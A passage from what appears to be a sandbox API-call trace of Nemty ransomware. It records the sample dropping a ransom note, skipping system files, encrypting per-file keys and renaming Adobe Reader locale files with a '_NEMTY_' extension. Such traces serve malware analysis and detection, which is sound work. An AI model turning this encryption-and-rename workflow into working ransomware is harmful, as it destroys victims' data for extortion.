dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0180.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0180.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.768] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.768] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0180.769] CloseHandle (hObject=0x254) returned 1 [0180.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.769] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1f62a0d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f62a0d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0180.769] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0180.769] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1f62a0d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f62a0d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0180.769] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0180.769] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0180.769] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.POL", cAlternateFileName="ACCESS~1.POL")) returned 1 [0180.769] lstrcmpiW (lpString1="accessibility.POL", lpString2=".") returned 1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="..") returned 1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="...") returned 1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="windows") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="rsa") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="NTDETECT.COM") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="ntldr") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="MSDOS.SYS") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="IO.SYS") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="boot.ini") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="boot.ini") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="AUTOEXEC.BAT") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="ntuser.dat") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="desktop.ini") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="CONFIG.SYS") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="RECYCLER") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="BOOTSECT.BAK") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="bootmgr") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="programdata") returned -1 [0180.770] lstrcmpiW (lpString1="accessibility.POL", lpString2="appdata") returned -1 [0180.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.POL", lpUsedDefaultChar=0x0) returned 17 [0180.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0180.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.POL", lpUsedDefaultChar=0x0) returned 17 [0180.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0180.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.POL", lpUsedDefaultChar=0x0) returned 17 [0180.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.POL", lpUsedDefaultChar=0x0) returned 17 [0180.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.777] Sleep (dwMilliseconds=0x5) [0180.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f676390, dwHighDateTime=0x1d561e8)) [0180.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f676390, dwHighDateTime=0x1d561e8)) [0180.786] GetLastError () returned 0xb7 [0180.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.786] GetLastError () returned 0xb7 [0180.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.786] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.786] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.787] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.787] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="NBYgpPyxTcdWQsbyKTumKLw4MexwNWr7KHKg8MeA93f/XC2XyaRCRTr18FTd7+v7\r\n/ErGfO7mVxkGZM/l4TKvR0yaRIO0Lv2jDxkZIcz8H6mUJ+h9zNstXEKPO6jFEywf\r\nuREGsQwrtd5BGQS4ba6a+EcwKSK+HtwE/V//YYFODm7uP4AQImJElpFiiTQqRz+t\r\nwT3gg865E+Hh5QCCulJ5vGE15YtlYGVRCZAx7ehNDGhoHBn3OdEy8rAjgRgbAmw5\r\nOuR6lbW8FYByhiklFECRJhemMvhfAhrR0XeuW1ehlo3TzACWpTe0jp0ofiTvE3Zc\r\n4tRfNTrBFCd+RZtd5pOWug==\r\n", pcchString=0x653e5dc) returned 1 [0180.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.787] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\accessibility.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\accessibility.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.787] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=44032) returned 1 [0180.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xac00) returned 0x6352c48 [0180.787] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.787] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xac00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xac00, lpOverlapped=0x0) returned 1 [0180.791] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.791] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xac00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xac00, lpOverlapped=0x0) returned 1 [0180.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.791] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00 [0180.791] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.792] CloseHandle (hObject=0x2e8) returned 1 [0180.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.792] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\accessibility.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\accessibility.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\accessibility.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\accessibility.pol._nemty_kgobjgd_")) returned 1 [0180.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.793] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.POL", cAlternateFileName="")) returned 1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2=".") returned 1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="..") returned 1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="...") returned 1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="windows") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="rsa") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="NTDETECT.COM") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="ntldr") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="MSDOS.SYS") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="IO.SYS") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="boot.ini") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="boot.ini") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="AUTOEXEC.BAT") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="ntuser.dat") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="desktop.ini") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="CONFIG.SYS") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="RECYCLER") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="BOOTSECT.BAK") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="bootmgr") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="programdata") returned -1 [0180.793] lstrcmpiW (lpString1="Acroform.POL", lpString2="appdata") returned -1 [0180.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.POL", lpUsedDefaultChar=0x0) returned 12 [0180.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.POL", lpUsedDefaultChar=0x0) returned 12 [0180.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.POL", lpUsedDefaultChar=0x0) returned 12 [0180.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.POL", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.POL", lpUsedDefaultChar=0x0) returned 12 [0180.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.794] Sleep (dwMilliseconds=0x5) [0180.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f69c4f0, dwHighDateTime=0x1d561e8)) [0180.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f69c4f0, dwHighDateTime=0x1d561e8)) [0180.802] GetLastError () returned 0x0 [0180.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.802] GetLastError () returned 0x0 [0180.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.802] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.802] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.802] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.802] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="9rXPKGeJoA7sKLMo81cg8Z1asWkdJP8f4ASwjrLec7sDMWiLM6F48vboy8//TgvG\r\n60URgfcDwnqNve2ITHUsthWcsTPByMoXoqy3mar7bnHHF+NkB7LBnc9Ksu/s0jAQ\r\nR12RKRwq92uNmagQXJuzkzk41JcVzzFGBO+7dQlxS6zkX3W8l9DN+BeTbG7P+g2/\r\n022jna4pxxy0a06vXg50upy0DQgOhbDGgEYIEvVH/P36JqYf88ipEORcZ4GBebIF\r\nt1T5KysPxhdkWlmQXyoz6/98aWIuIaoMSPIye8rABn5LMsSmyOPR6GcuPe7iqvDN\r\nDec5INVIZB53DUTODZtJWA==\r\n", pcchString=0x653e5dc) returned 1 [0180.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 